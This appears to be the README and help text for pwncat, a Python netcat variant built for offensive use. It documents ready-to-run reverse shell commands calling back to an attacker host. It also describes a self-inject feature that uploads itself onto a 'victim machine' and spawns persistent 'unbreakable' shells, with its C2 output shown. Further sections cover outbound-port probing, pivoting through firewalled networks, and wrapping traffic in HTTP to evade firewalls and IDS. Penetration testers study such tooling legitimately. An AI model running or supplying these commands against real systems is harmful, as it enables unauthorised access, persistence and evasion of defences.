  Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
  connect, zero-i/o, listen and forward modes and techniques to detect and evade
  firewalls and intrusion detection/prevention systems.
  If no mode arguments are specified, pwncat will run in connect mode and act as
  a client to connect to a remote endpoint. If the connection to the remote
  endoint is lost, pwncat will quit. See options for how to automatically re-
  connect.
  positional arguments:
    hostname              Address to listen, forward, scan or connect to.
    port                  [All modes]
                          Single port to listen, forward or connect to.
                          [Zero-I/O mode]
                          Specify multiple ports to scan:
                          Via list:  4444,4445,4446
                          Via range: 4444-4446
                          Via incr:  4444+2
  mode arguments:
    -l, --listen          [Listen mode]:
                          Start a server and listen for incoming connections.
                          If using TCP and a connected client disconnects or the
                          connection is interrupted otherwise, the server will
                          quit. See -k/--keep-open to change this behaviour.
    -z, --zero            [Zero-I/0 mode]:
                          Connect to a remote endpoint and report status only.
                          Used for port scanning.
                          See --banner for version detection.
    -L [addr:]port, --local [addr:]port
                          [Local forward mode]:
                          This mode will start a server and a client internally.
                          The internal server will listen locally on specified
                          addr/port (given by --local [addr:]port).
                          The server will then forward traffic to the internal
                          client which connects to another server specified by
                          hostname/port given via positional arguments.
                          (I.e.: proxies a remote service to a local address)
    -R addr:port, --remote addr:port
                          [Remote forward mode]:
                          This mode will start two clients internally. One is
                          connecting to the target and one is connecting to
                          another pwncat/netcat server you have started some-
                          where. Once connected, it will then proxy traffic
                          between you and the target.
                          This mode should be applied on machines that block
                          incoming traffic and only allow outbound.
                          The connection to your listening server is given by
                          -R/--remote addr:port and the connection to the
                          target machine via the positional arguments.
  optional arguments:
    -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.
    -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing
                          line endings for input and outout accordingly. Specify
                          'no' to completely remove any line feeds. By default
                          it will not replace anything and takes what is entered
                          (usually CRLF on Windows, LF on Linux and some times
                          CR on MacOS).
    -n, --nodns           Do not resolve DNS.
    --send-on-eof         Buffer data received on stdin until EOF and send
                          everything in one chunk.
    --no-shutdown         Do not shutdown into half-duplex mode.
                          If this option is passed, pwncat won't invoke shutdown
                          on a socket after seeing EOF on stdin. This is provided
                          for backward-compatibility with OpenBSD netcat, which
                          exhibits this behavior.
    -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                          or -vvvv for more verbosity. The server performance will
                          decrease drastically if you use more than three times.
    --info type           Show additional info about sockets, IPv4/6 or TCP opts
                          applied to the current socket connection. Valid
                          parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
                          Note, you must at least be in INFO verbose mode in order
                          to see them (-vv).
    -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                          In 'auto' mode, color is displayed as long as the output
                          goes to a terminal. If it is piped into a file, color
                          will automatically be disabled. This mode also disables
                          color on Windows by default. (default: auto)
    --safe-word str       All modes:
                          If pwncat is started with this argument, it will shut
                          down as soon as it receives the specified string. The
                          --keep-open (server) or --reconn (client) options will
                          be ignored and it won't listen again or reconnect to you.
                          Use a very unique string to not have it shut down
                          accidentally by other input.
  protocol arguments:
    -4                    Only Use IPv4 (default: IPv4 and IPv6 dualstack).
    -6                    Only Use IPv6 (default: IPv4 and IPv6 dualstack).
    -u, --udp             Use UDP for the connection instead of TCP.
    -T str, --tos str     Specifies IP Type of Service (ToS) for the connection.
                          Valid values are the tokens 'mincost', 'lowcost',
                          'reliability', 'throughput' or 'lowdelay'.
    --http                Connect / Listen mode (TCP and UDP):
                          Hide traffic in http packets to fool Firewalls/IDS/IPS.
    --https               Connect / Listen mode (TCP and UDP):
                          Hide traffic in https packets to fool Firewalls/IDS/IPS.
    -H [str [str ...]], --header [str [str ...]]
                          Add HTTP headers to your request when using --http(s).
  command & control arguments:
    --self-inject cmd:host:port[s]
                          Listen mode (TCP only):
                          If you are about to inject a reverse shell onto the
                          victim machine (via php, bash, nc, ncat or similar),
                          start your listening server with this argument.
                          This will then (as soon as the reverse shell connects)
                          automatically deploy and background-run an unbreakable
                          pwncat reverse shell onto the victim machine which then
                          also connects back to you with specified arguments.
                          Example: '--self-inject /bin/bash:10.0.0.1:4444'
                          It is also possible to launch multiple reverse shells by
                          specifying multiple ports.
                          Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
                          Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
                          Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
                          Note: this is currently an experimental feature and does
                          not work on Windows remote hosts yet.
  pwncat scripting engine:
    --script-send file    All modes (TCP and UDP):
                          A Python scripting engine to define your own custom
                          transformer function which will be executed before
                          sending data to a remote endpoint. Your file must
                          contain the exact following function which will:
                          be applied as the transformer:
                          def transform(data, pse):
                              
                              
                              
                              
                              return data
                          You can also define as many custom functions or classes
                          within this file, but ensure to prefix them uniquely to
                          not collide with pwncat's function or classes, as the
                          file will be called with exec().
    --script-recv file    All modes (TCP and UDP):
                          A Python scripting engine to define your own custom
                          transformer function which will be executed after
                          receiving data from a remote endpoint. Your file must
                          contain the exact following function which will:
                          be applied as the transformer:
                          def transform(data, pse):
                              
                              
                              
                              
                              return data
                          You can also define as many custom functions or classes
                          within this file, but ensure to prefix them uniquely to
                          not collide with pwncat's function or classes, as the
                          file will be called with exec().
  zero-i/o mode arguments:
    --banner              Zero-I/O (TCP and UDP):
                          Try banner grabbing during port scan.
  listen mode arguments:
    -k, --keep-open       Listen mode (TCP only):
                          Re-accept new clients in listen mode after a client has
                          disconnected or the connection is interrupted otherwise.
                          (default: server will quit after connection is gone)
    --rebind [x]          Listen mode (TCP and UDP):
                          If the server is unable to bind, it will re-initialize
                          itself x many times before giving up. Omit the
                          quantifier to rebind endlessly or specify a positive
                          integer for how many times to rebind before giving up.
                          See --rebind-robin for an interesting use-case.
                          (default: fail after first unsuccessful try).
    --rebind-wait s       Listen mode (TCP and UDP):
                          Wait x seconds between re-initialization. (default: 1)
    --rebind-robin port   Listen mode (TCP and UDP):
                          If the server is unable to initialize (e.g: cannot bind
                          and --rebind is specified, it it will shuffle ports in
                          round-robin mode to bind to.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Set --rebind to at least the number of ports to probe +1
                          This option requires --rebind to be specified.
  connect mode arguments:
    --source-addr addr    Specify source bind IP address for connect mode.
    --source-port port    Specify source bind port for connect mode.
    --reconn [x]          Connect mode (TCP and UDP):
                          If the remote server is not reachable or the connection
                          is interrupted, the client will connect again x many
                          times before giving up. Omit the quantifier to retry
                          endlessly or specify a positive integer for how many
                          times to retry before giving up.
                          (default: quit if the remote is not available or the
                          connection was interrupted)
                          This might be handy for stable TCP reverse shells ;-)
                          Note on UDP:
                          By default UDP does not know if it is connected, so
                          it will stop at the first port and assume it has a
                          connection. Consider using --udp-sconnect with this
                          option to make UDP aware of a successful connection.
    --reconn-wait s       Connect mode (TCP and UDP):
                          Wait x seconds between re-connects. (default: 1)
    --reconn-robin port   Connect mode (TCP and UDP):
                          If the remote server is not reachable or the connection
                          is interrupted and --reconn is specified, the client
                          will shuffle ports in round-robin mode to connect to.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Set --reconn to at least the number of ports to probe +1
                          This helps reverse shell to evade intrusiona prevention
                          systems that will cut your connection and block the
                          outbound port.
                          This is also useful in Connect or Zero-I/O mode to
                          figure out what outbound ports are allowed.
    --ping-init           Connect mode (TCP and UDP):
                          UDP is a stateless protocol unlike TCP, so no hand-
                          shake communication takes place and the client just
                          sends data to a server without being "accepted" by
                          the server first.
                          This means a server waiting for an UDP client to
                          connect to, is unable to send any data to the client,
                          before the client hasn't send data first. The server
                          simply doesn't know the IP address before an initial
                          connect.
                          The --ping-init option instructs the client to send one
                          single initial ping packet to the server, so that it is
                          able to talk to the client.
                          This is a way to make a UDP reverse shell work.
                          See --ping-word for what char/string to send as initial
                          ping packet (default: '\0')
    --ping-intvl s        Connect mode (TCP and UDP):
                          Instruct the client to send ping intervalls every s sec.
                          This allows you to restart your UDP server and just wait
                          for the client to report back in. This might be handy
                          for stable UDP reverse shells ;-)
                          See --ping-word for what char/string to send as initial
                          ping packet (default: '\0')
    --ping-word str       Connect mode (TCP and UDP):
                          Change the default character '\0' to use for upd ping.
                          Single character or strings are supported.
    --ping-robin port     Connect mode (TCP and UDP):
                          Instruct the client to shuffle the specified ports in
                          round-robin mode for a remote server to ping.
                          This might be handy to scan outbound allowed ports.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Use --ping-intvl 0 to be faster.
    --udp-sconnect        Connect mode (UDP only):
                          Emulating stateful behaviour for UDP connect phase by
                          sending an initial packet to the server to validate if
                          it is actually connected.
                          By default, UDP will simply issue a connect and is not
                          aware if it is really connected or not.
                          The default connect packet to be send is '\0', you
                          can change this with --udp-sconnect-word.
    --udp-sconnect-word [str]
                          Connect mode (UDP only):
                          Change the the data to be send for UDP stateful connect
                          behaviour. Note you can also omit the string to send an
                          empty packet (EOF), but be aware that some servers such
                          as netcat will instantly quit upon receive of an EOF
                          packet.
                          The default is to send a null byte sting: '\0'.
  misc arguments:
    -h, --help            Show this help message and exit
    -V, --version         Show version information and exit
  ```
  </details>


  <!--
  <details>
    <summary>Click to expand</summary>
  -->
  > This is a universal advice and not only works with `pwncat`, but with all other common tools.
  When connected with a reverse or bind shell you'll notice that no interactive commands will work and
  hitting <kbd>Ctrl</kbd>+<kbd>c</kbd> will terminate your session.
  To fix this, you'll need to attach it to a TTY (make it interactive). Here's how:
  ```bash
  python3 -c 'import pty; pty.spawn("/bin/bash")'
  ```
  <kbd>Ctrl</kbd>+<kbd>z</kbd>
  ```bash

  stty size

  stty raw -echo
  fg

  stty raw -echo; fg
  reset
  export SHELL=bash
  export TERM=xterm
  stty rows <num> columns <cols>   # <num> and <cols> values found above by 'stty size'
  ```
  > <sup>[1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>

  Without tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a `connect()` method as TCP does.
  In TCP mode, the server will know the client IP and port, once the client issues a `connects()`.
  In UDP mode, as there is no `connect()`, the client simply sends data to an address/port without having to connect first.
  Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first.
  The only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it.
  `pwncat` emulates the TCP `connect()` by having the client send a null byte to the server once or periodically via `--ping-intvl` or `--ping-init`.
  ```bash




  pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444
  ```

  Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily.
  In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.
  ```bash





  pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
  ```

  Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily.
  In other words, the client will keep sending null bytes to the server to constantly announce itself.
  ```bash





  pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444
  ```

  Let's imagine you are able to create a very simple and unstable reverse shell from the target to
  your machine, such as a web shell via a PHP script or similar.
  Knowing, that this will not persist very long or might break due to unstable network connection,
  you could use `pwncat` to hook into this connection and deploy itself unbreakably on the target - fully automated.
  <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s"><img width="400" style="width:400px;" src="docs/img/video01.png" /></a>
  > [View on Youtube](https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s)
  All you have to do, is use `pwncat` as your local listener and start it with the `--self-inject`
  switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:
  1. Enumerate Python availability and versions on the target
  2. Dump itself base64 encoded onto the target
  3. Use the target's Python to decode itself.
  4. Use the target's Python to start itself as an unbreakable reverse shell back to you
  Once this is done, you can keep using the current connection or simply abandon it and start a new
  listener (yes, you don't need to start the listener before starting the reverse shell) to have
  the new `pwncat` client connect to you. The new listener also doesn't have to be `pwncat`, it can
  also be `netcat` or `ncat`.
  The **`--self-inject`** switch:
  ```bash
  pwncat -l 4444 --self-inject <cmd>:<host>:<port>
  ```
  * `<cmd>`: This is the command to start on the target (like `-e`/`--exec`, so you want it to be `cmd.exe` or `/bin/bash`)
  * `<host>`: This is for your local machine, the IP address to where the reverse shell shall connect back to
  * `<port>`: This is for your local machine, the port on which the reverse shell shall connect back to
  So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port `4444`:
  ```bash

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
  ```
  You will then see something like this:
  ```
  [PWNCAT CnC] Probing for: /bin/python
  [PWNCAT CnC] Probing for: /bin/python2
  [PWNCAT CnC] Probing for: /bin/python2.7
  [PWNCAT CnC] Probing for: /bin/python3
  [PWNCAT CnC] Probing for: /bin/python3.5
  [PWNCAT CnC] Probing for: /bin/python3.6
  [PWNCAT CnC] Probing for: /bin/python3.7
  [PWNCAT CnC] Probing for: /bin/python3.8
  [PWNCAT CnC] Probing for: /usr/bin/python
  [PWNCAT CnC] Potential path: /usr/bin/python
  [PWNCAT CnC] Found valid Python2 version: 2.7.16
  [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
  [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
  [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
  [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
  ```
  And you are set. You can now start another listener locally at `4445` (again, it will connect back to you endlessly, so it is not required to start the listener first).
  ```bash

  nc -lp 4445

  ncat -l 4445

  pwncat -l 4445
  ```

  Instead of just asking for a single self-injecting reverse shell, you can instruct `pwncat` to spawn as many unbreakable reverse shells connecting back to you as you desire.
  <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2"><img width="400" style="width:400px;" src="docs/img/video02.png" /></a>
  > [View on Youtube](https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2")
  The `--self-inject` argument allows you to not only define a single port, but also
  1. A comma separated list of ports: `4445,4446,4447,4448`
  2. A range definition: `4446-4448`
  3. An increment: `4445+3`
  In order to spawn 4 reverse shells you would start your listener just as described above, but instead
  of a single port, you define multiple:
  ```bash

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3
  ```
  Each of the above three commands will achieve the same behaviour: spawning 4 reverse shells inside the target.
  Once the client connects, the output will look something like this:
  ```
  [PWNCAT CnC] Probing for: /bin/python
  [PWNCAT CnC] Probing for: /bin/python2
  [PWNCAT CnC] Probing for: /bin/python2.7
  [PWNCAT CnC] Probing for: /bin/python3
  [PWNCAT CnC] Probing for: /bin/python3.5
  [PWNCAT CnC] Probing for: /bin/python3.6
  [PWNCAT CnC] Probing for: /bin/python3.7
  [PWNCAT CnC] Probing for: /bin/python3.8
  [PWNCAT CnC] Probing for: /usr/bin/python
  [PWNCAT CnC] Potential path: /usr/bin/python
  [PWNCAT CnC] Found valid Python2 version: 2.7.16
  [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
  [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
  [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
  [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &
  ```

  > **Note:** Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.

  If you feel like, you can start a listener in full TRACE logging mode to figure out what's going on or simply to troubleshoot.
  Log message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file.
  You can also manually disable colored logging for terminal outputs via the `--color` switch.
  ```bash
  pwncat -vvvv -l 4444
  ```
  You will see (among all the gibberish) a TRACE message:
  ```bash
  2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
  2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
  2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
  2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
  ```
  As soon as you saw this on the listener, you can issue commands to the client.
  All the debug messages are also not necessary, so you can safely <kbd>Ctrl</kbd>+<kbd>c</kbd> terminate
  your server and start it again in silent mode:
  ```bash
  pwncat -l 4444
  ```
  Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.
  Having no info messages at all, is also sometimes not desirable. You might want to know what is going
  on behind the scences or? Safely <kbd>Ctrl</kbd>+<kbd>c</kbd> terminate your server and redirect
  the notifications to a logfile:
  ```bash
  pwncat -l -vvv 4444 2> comm.txt
  ```
  Now all you'll see in your terminal session are the actual command inputs and outputs.
  If you want to see what's going on behind the scene, open a second terminal window and tail
  the `comm.txt` file:
  ```bash

  tail -fn50 comm.txt
  2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
  2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
  2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
  2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
  ```

  Another useful feature is to display currently configured socket and network settings.
  Use the `--info` switch with either `socket`, `ipv4`, `ipv6`, `tcp` or `all` to display all
  available settings.
  **Note:** In order to view those settings, you must at least be at `INFO` log level (`-vv`).
  An example output in IPv4/TCP mode without any custom settings is shown below:
  ```
  INFO: [bind-sock] Sock: SO_DEBUG: 0
  INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
  INFO: [bind-sock] Sock: SO_REUSEADDR: 1
  INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
  INFO: [bind-sock] Sock: SO_DONTROUTE: 0
  INFO: [bind-sock] Sock: SO_BROADCAST: 0
  INFO: [bind-sock] Sock: SO_LINGER: 0
  INFO: [bind-sock] Sock: SO_OOBINLINE: 0
  INFO: [bind-sock] Sock: SO_REUSEPORT: 0
  INFO: [bind-sock] Sock: SO_SNDBUF: 16384
  INFO: [bind-sock] Sock: SO_RCVBUF: 131072
  INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
  INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
  INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
  INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
  INFO: [bind-sock] Sock: SO_ERROR: 0
  INFO: [bind-sock] Sock: SO_TYPE: 1
  INFO: [bind-sock] Sock: SO_PASSCRED: 0
  INFO: [bind-sock] Sock: SO_PEERCRED: 0
  INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
  INFO: [bind-sock] Sock: SO_PRIORITY: 0
  INFO: [bind-sock] Sock: SO_MARK: 0
  INFO: [bind-sock] IPv4: IP_OPTIONS: 0
  INFO: [bind-sock] IPv4: IP_HDRINCL: 0
  INFO: [bind-sock] IPv4: IP_TOS: 0
  INFO: [bind-sock] IPv4: IP_TTL: 64
  INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
  INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
  INFO: [bind-sock] IPv4: IP_RETOPTS: 0
  INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
  INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
  INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
  INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
  INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
  INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
  INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
  INFO: [bind-sock] TCP: TCP_NODELAY: 0
  INFO: [bind-sock] TCP: TCP_MAXSEG: 536
  INFO: [bind-sock] TCP: TCP_CORK: 0
  INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
  INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
  INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
  INFO: [bind-sock] TCP: TCP_SYNCNT: 6
  INFO: [bind-sock] TCP: TCP_LINGER2: 60
  INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
  INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
  INFO: [bind-sock] TCP: TCP_INFO: 10
  INFO: [bind-sock] TCP: TCP_QUICKACK: 1
  INFO: [bind-sock] TCP: TCP_FASTOPEN: 0
  ```
  <!--
  </details>
  -->

  <!--
  <details>
    <summary>Click to expand</summary>
  -->

  **Scenario**
  1. Alice can be reached from the Outside (TCP/UDP)
  2. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     TCP     +-----------------+     TCP     +-----------------+
       | The cat         | -----|----> | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat 72.0.0.1 3306     |      pwncat \                 |
                                |        -L 72.0.0.1:3306 \     |
                                |         10.0.0.1 3306         |
  ```

  **Scenario**
  1. Alice can be reached from the Outside (but only via UDP)
  2. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     UDP     +-----------------+     TCP     +-----------------+
       | The cat         | -----|----> | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat -L       |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                                |        -L 72.0.0.1:3306 \     |
                                |        10.0.0.1 3306          |
  ```

  **Scenario**
  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (TCP/UDP)
  3. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     TCP     +-----------------+     TCP     +-----------------+
       | The cat         | <----|----- | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -l 4444           |      pwncat --reconn \        |
                                |        -R 56.0.0.1:4444 \     |
                                |        10.0.0.1 3306          |
  ```

  **Scenario**
  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (UDP: DNS only)
  3. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     UDP     +-----------------+     TCP     +-----------------+
       | The cat         | <----|----- | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -u -l 53          |      pwncat -u --reconn \     |
                                |        -R 56.0.0.1:4444 \     |
                                |        10.0.0.1 3306          |
  ```
  <!--
  </details>
  -->

  If you have no idea what outbound ports are allowed from the target machine, you can instruct
  the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.
  ```bash





  pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
  ```
  Once the client is up and running, either use raw sockets to check for inbound traffic or use
  something like Wireshark or tcpdump to find out from where the client is able to connect back to you,
  If you found one or more ports that the client is able to connect to you,
  simply start your listener locally and wait for it to come back.
  ```bash
  pwncat -l <ip> <port>
  ```
  If the client connects to you, you will have a working reverse shell. If you stop your local
  listening server accidentally or on purpose, the client will probe ports again until it connects successfully.
  In order to kill the reverse shell client, you can use `--safe-word` (when starting the client).
  If none of this succeeds, you can add other measures such as using UDP or even wrapping your
  packets into higher level protocols, such as HTTP or others. See [PSE](pse) or examples below
  for how to transform your traffic.

  `pwncat` offers a Python based scripting engine to inject your custom code before sending and
  after receiving data.

  You will simply need to provide a Python file with the following entrypoint function:
  ```python
  def transform(data, pse):
      
      return data[::-1]
  ```
  Both, the function name must be named `transform` and the parsed arguments must be named `data` and `pse`.
  Other than that you can add as much code as you like. Each instance of `pwncat` can take two scripts:
  1. `--script-send`: script will be applied before sending
  2. `--script-recv`: script will be applied after receiving
  See [here](pse) for API and more details

  > PSE: [asym-enc](pse/asym-enc) source code
  This will encrypt your traffic asymmetrically. It is just a very basic [ROT13](https://en.wikipedia.org/wiki/ROT13) implementation with different shift lengths on both sides to *emulate* asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.
  ```bash

  pwncat -vvvv -l localhost 4444 \
    --script-send pse/asym-enc/pse-asym_enc-server_send.py \
    --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
  ```
  ```bash

  pwncat -vvvv localhost 4444 \
    --script-send pse/asym-enc/pse-asym_enc-client_send.py \
    --script-recv pse/asym-enc/pse-asym_enc-client_recv.py
  ```

  > PSE: [http-post](pse/http-post) source code
  This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.
  ```bash

  pwncat -vvvv -l localhost 4444 \
    --script-send pse/http-post/pse-http_post-pack.py \
    --script-recv pse/http-post/pse-http_post-unpack.py
  ```
  ```bash

  pwncat -vvvv localhost 4444 \
    --script-send pse/http-post/pse-http_post-pack.py \
    --script-recv pse/http-post/pse-http_post-unpack.py
  ```


  ```bash
  $ sudo netstat -tlpn
  Active Internet connections (only servers)
  Proto Recv-Q Send-Q Local Address           Foreign Address     State
  tcp        0      0 127.0.0.1:631           0.0.0.0:*           LISTEN
  tcp        0      0 127.0.0.1:25            0.0.0.0:*           LISTEN
  tcp        0      0 127.0.0.1:4444          0.0.0.0:*           LISTEN
  tcp        0      0 0.0.0.0:902             0.0.0.0:*           LISTEN
  tcp6       0      0 ::1:631                 :::*                LISTEN
  tcp6       0      0 ::1:25                  :::*                LISTEN
  tcp6       0      0 ::1:4444                :::*                LISTEN
  tcp6       0      0 :::1053                 :::*                LISTEN
  tcp6       0      0 :::902                  :::*                LISTEN
  ```

  The following UDP ports are exposing:
  ```bash
  $ sudo netstat -ulpn
  Active Internet connections (only servers)
  Proto Recv-Q Send-Q Local Address           Foreign Address
  udp        0      0 0.0.0.0:631             0.0.0.0:*
  udp        0      0 0.0.0.0:5353            0.0.0.0:*
  udp        0      0 0.0.0.0:39856           0.0.0.0:*
  udp        0      0 0.0.0.0:68              0.0.0.0:*
  udp        0      0 0.0.0.0:68              0.0.0.0:*
  udp6       0      0 :::1053                 :::*
  udp6       0      0 :::5353                 :::*
  udp6       0      0 :::57728                :::*
  ```

  ```bash
  $ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU
  Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST
  Warning: 127.0.0.1 giving up on port because retransmission cap hit (2).
  Nmap scan report for localhost (127.0.0.1)
  Host is up (0.000035s latency).
  Other addresses for localhost (not scanned): ::1
  Not shown: 65529 closed ports
  PORT      STATE         SERVICE
  68/udp    open|filtered dhcpc
  631/udp   open|filtered ipp
  1053/udp  open|filtered remote-as
  5353/udp  open|filtered zeroconf
